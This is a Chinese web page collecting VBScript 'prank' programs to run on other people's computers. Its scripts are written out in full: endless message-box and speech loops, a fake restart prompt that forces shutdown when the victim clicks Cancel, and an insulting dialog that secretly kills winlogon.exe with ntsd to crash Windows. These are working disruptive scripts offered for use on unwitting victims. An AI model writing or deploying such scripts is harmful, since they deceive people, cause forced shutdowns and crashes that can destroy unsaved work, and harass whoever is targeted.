vbs整人代码蓝屏_vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等

1、无限循环hi

复制代码 代码示例:

do

msgbox "hi"

loop

2、无限制的用英文报数

复制代码 代码示例:

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

3、计算机重启提示

复制代码 代码示例:

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

4、假蓝屏提醒

复制代码 代码示例:

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then

msgbox "你SB啊!"

else

msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

end if

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd.exe /c call calc.exe",0

您可能感兴趣的文章：

vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等

vbs恶作剧(整人代码)-死循环 讲故事等

vbs恶作剧(整人代码)-感人的文章(我是猪)

vbs恶作剧(整人代码)-写入大量的垃圾文件，吓哭他

电脑从待机状态恢复时出现蓝屏死机的处理方法

vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等

vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等

vbs恶作剧(整人代码)-让他承认自己是大傻B

Windows7/Vista/XP黑屏一键解决办法

vbs恶作剧(整人代码)-网页整人效果